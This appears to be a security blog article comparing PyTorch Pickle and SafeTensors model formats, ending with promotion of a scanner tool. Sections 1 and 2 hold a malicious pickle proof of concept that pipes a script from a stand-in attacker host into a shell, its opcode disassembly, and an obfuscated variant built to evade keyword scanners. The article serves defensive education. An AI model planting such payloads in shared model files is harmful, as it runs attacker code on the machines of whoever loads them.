When you load a model weight file using Python's standard torch.load(), you are not just
reading static floating-point data. You might be executing arbitrary code on your system.
This risk isn't hypothetical. Much of the machine learning ecosystem is built on legacy serialisation
formats, most notably Python's pickle module, that are vulnerable to Remote Code Execution
(RCE) by design. In response, much of the open-source ML community has migrated toward Hugging Face's
SafeTensors format.
But how do these formats compare under the security microscope? What makes Pickle so dangerous, how does SafeTensors fix it, and what security vulnerabilities remain even after you migrate? This deep dive breaks down the technical execution models of both formats.
1. The Anatomy of Pickle
Historically, PyTorch model files (typically saved as .pt, .pth, or
.bin) used Python's pickle module under the hood to store metadata and structural
information about model weights.
Pickle is not a raw data storage format like JSON or Protocol Buffers. It is an instruction stream designed for a stack-based virtual machine: the Pickle Virtual Machine (PVM).
When you call torch.load(), the interpreter reads the file's binary stream as a sequence of
opcodes, executing them step-by-step to reconstruct objects in memory. The VM relies on key components:
- The Stack: A LIFO scratchpad for values, object lists, and call parameters.
- The Memo: A key-value lookup cache used to reference previously instantiated objects and resolve circular dependencies.
- Instruction Opcodes: One-byte instructions that instruct the VM to push integers/strings, create tuples, import modules, and execute callables.
The fundamental security failure of Pickle lies in two specific opcodes: GLOBAL (which resolves
modules and imports symbols) and REDUCE (which executes a callable using arguments popped from
the stack).
To illustrate how simple it is to exploit this, consider the following script that saves a malicious "pickle bomb" payload as a PyTorch model file:
import os
import torch
class MaliciousPayload:
def __reduce__(self):
# The unpickler will execute this callable on load
return (os.system, ("curl -s http://attacker.com/malware.sh | sh",))
# Saves class metadata containing instructions to run shell commands
torch.save(MaliciousPayload(), "malicious_model.pt")
Disassembling this file's instruction stream using Python's built-in pickletools.dis() reveals
the raw stack instructions executed upon loading:
0: c GLOBAL 'os system'
11: ( MARK
12: V UNICODE 'curl -s http://attacker.com/malware.sh | sh'
57: t TUPLE (MARK at 11)
58: R REDUCE
59: . STOP
The PVM imports the os module, locates system, builds the argument tuple, and
triggers REDUCE. The shell command executes immediately, running under the privilege level of
the loading process, all before a single tensor weight is loaded or any inference is performed.
2. Obfuscation & Bypasses in Pickle
Many teams rely on naive string matching to scan model files for keywords like os.system or
subprocess. However, because the Pickle VM is Turing-complete, attackers can easily obfuscate
payloads.
For example, an attacker can dynamically resolve system imports using harmless-looking primitives like
getattr and __import__:
import builtins
import torch
class ObfuscatedPayload:
def __reduce__(self):
# Resolve 'os.system' dynamically to evade static keyword checks
return (
builtins.getattr,
(__import__("os"), "sys" + "tem")
)
torch.save(ObfuscatedPayload(), "obfuscated_model.pt")
A static scanner looking for os.system will miss this entirely. The symbol table only contains
builtins.getattr and builtins.__import__, resolving the target shell command
dynamically at runtime.
Is PyTorch's weights_only=True a Complete Cure?
Starting in version 2.6, PyTorch flipped the default for torch.load() to
weights_only=True. This instructs the loader to use a restricted unpickler that refuses to
import arbitrary modules.
While this is a welcome improvement, it is a band-aid rather than a structural cure:
-
Ubiquitous Legacy Code: Millions of legacy codebases, pipelines, and Jupyter Notebooks
still use old PyTorch versions or explicitly opt out via
weights_only=Falseto bypass load errors on custom architectures. - Bypass Vulnerabilities: Security researchers have historically discovered bypasses in restricted unpickler implementations by chaining permitted safe classes to reconstruct arbitrary callables.
- No Metadata Auditing: The restricted unpickler does nothing to solve other critical pipeline risks, such as verifying licenses or checking data lineage.
3. SafeTensors (Data Only, No Code)
To address the structural vulnerability of Pickle, Hugging Face developed the SafeTensors format. The design philosophy behind SafeTensors is simple: eliminate the execution engine entirely.
A SafeTensors file contains no instruction sets, no virtual machines, and no dynamic resolution paths. It is a pure, flat binary representation of data:
graph LR
A["8-byte header length
(uint64, little-endian)"] --> B["JSON header
(shapes, dtypes, offsets)"]
B --> C["Raw binary tensor buffers
(flat, contiguous bytes)"]
The layout consists of three segments:
- 8-Byte Header Length: A 64-bit unsigned little-endian integer declaring the size of the following header.
- JSON Header: A UTF-8 encoded JSON string containing tensor shapes, offsets, data types, and user metadata.
- Raw Binary Buffers: Flat bytes representing the numeric tensor weights.
When a loader parses a .safetensors file, it reads the first 8 bytes, extracts the header
length, parses the JSON string, and then points memory buffers directly to the remaining bytes. Because
there is no VM or instruction stream, there is no code path that can lead to remote code execution.
4. Performance & Memory
Security improvements often come at the cost of speed. SafeTensors is an exception: the same design choice that removes the execution engine also makes loading faster. That performance gain is a large part of why the format spread so quickly.
Because the weights in SafeTensors are saved as flat binary blocks mapped directly to their JSON offsets,
loaders can utilise memory mapping (mmap).
Memory mapping allows the OS to map the model file directly into the process address space. The loader doesn't need to copy bytes into the Python process heap or run CPU deserialization routines; pages are faulted in lazily as tensors are accessed. This removes the upfront deserialization cost that dominates Pickle load times, and multiple processes can share the mapped pages without duplication. (Moving weights onto a GPU is still a real copy, but the host-side parse is effectively free.)
In contrast, Pickle requires the interpreter to construct individual Python objects on the heap, parse each stream sequentially, and allocate memory dynamically. This results in slow load times and significant memory overhead.
5. Technical Comparison
| Feature | Pickle (PyTorch Legacy) | SafeTensors |
|---|---|---|
| Execution Model | Stack-Based VM (Executes Code) | Data-Only (JSON Header + Bytes) |
| RCE Risk Surface | High (Arbitrary code execution on load) | Eliminated by design (no execution engine) |
| Static Scannability | Difficult (Requires opcode emulation/parsing) | Trivial (Standard JSON parser) |
| Loading Speed | Slow (Requires CPU deserialization) | Fast (Zero-copy memory mapping) |
| Memory Sharing | No (Process-specific objects allocated) | Yes (Shared OS-level mmap buffers) |
6. When SafeTensors Isn't Enough
While migrating to SafeTensors solves the critical threat of load-time remote code execution, it is not a complete security solution. Believing that SafeTensors solves all model-supply-chain risks introduces a false sense of security.
Several major threat vectors remain unaddressed by SafeTensors:
A. Model Weight Tampering (Malicious Weights)
SafeTensors ensures that the file loader cannot run arbitrary shell commands. However, the numeric tensor values can still be tampered with. An attacker who gains write access to a model repository can modify the weight layers to inject backdoors (e.g., triggering a bypass in safety filters on a specific keyword prompt) or systematically degrade the model's accuracy. SafeTensors parses these modified floats perfectly, meaning the tampered model loads safely but operates maliciously.
B. Legal and License Compliance
SafeTensors does not enforce compliance. Many open-weights models are published under restrictive licenses, such as Creative Commons Non-Commercial (CC-BY-NC) or Meta's Llama Community License. If you deploy a CC-BY-NC model in a commercial product, you face legal risk, regardless of whether the model is stored as a Pickle file or a SafeTensors file.
C. Dependency Vulnerabilities
Even if your model file is safe, the runtime stack loading it is not. The deep learning libraries wrapping the model (PyTorch, Transformers, ONNX Runtime) are complex codebases written in C++ and Python, with their own CVEs and supply-chain vulnerabilities.
The Security Posture: SafeTensors secures the deserialisation boundary. It does not secure the model lifecycle. You still need cryptographic integrity checks (SHA-256 hashes) and compliance auditing to verify the safety of the model supply chain.
7. Securing the Pipeline with AIsbom
Securing your ML pipeline requires continuous visibility. This is where an AI Bill of Materials (AI BOM) comes in. Rather than guessing which format or license your models are using, you can dynamically audit your codebase.
AIsbom is a static-analysis security scanner designed specifically for the ML supply chain. It performs deep binary introspection of models (supporting PyTorch Pickle, SafeTensors, and GGUF) without executing model code.
Statically Scanning a Local Directory
pipx run --spec aisbom-cli aisbom scan ./models
Verifying Remote Models Before Downloading
AIsbom uses HTTP Range requests to peek at the headers of remote Hugging Face checkpoints. It extracts SafeTensors metadata, license declarations, and hashes in seconds without downloading the multi-gigabyte weight files:
aisbom scan hf://Qwen/Qwen2.5-7B-Instruct
This allows you to verify license compliance and format safety inside your CI/CD pipelines before letting developers commit new weights to your production infrastructure.
8. Frequently Asked Questions
What is the difference between Pickle and SafeTensors?
Pickle is a Python serialization format that uses an instruction stream to reconstruct objects, which can execute code on load. SafeTensors is a strict data format that contains only a JSON metadata header and raw bytes, preventing code execution.
Can a SafeTensors file contain malware?
No executable code malware can exist in a SafeTensors file because it lacks an execution engine. However, the tensor floats can be modified to degrade performance or inject bias/backdoors. Static scanning and hashing are still necessary.
Why is memory mapping faster in SafeTensors?
Memory mapping (mmap) lets the operating system load file contents directly into memory space
without copying bytes into the heap. Since SafeTensors weights are stored in flat, contiguous byte buffers,
they align perfectly with memory mapping requirements.
How do I load SafeTensors in PyTorch?
Hugging Face's safetensors library (a separate, lightweight dependency) provides simple APIs
like load_file and save_file for reading and writing tensor weights. Note that it
is not a one-to-one replacement for torch.load / torch.save: SafeTensors only
serialises a flat dictionary of tensors, so anything torch.save stores beyond raw weights
(optimizer state, custom Python objects, arbitrary training metadata) has to be persisted separately.
9. Take Action
Eliminate serialization risk from your ML pipelines. You can audit your repositories and extract CycloneDX AI BOMs with one command:
pipx run --spec aisbom-cli aisbom scan ./models --format cyclonedx --output sbom.json
To understand the mechanics of writing a basic unpickler scanner using Python's standard library, see our companion guide: How to detect malware in a PyTorch pickle file.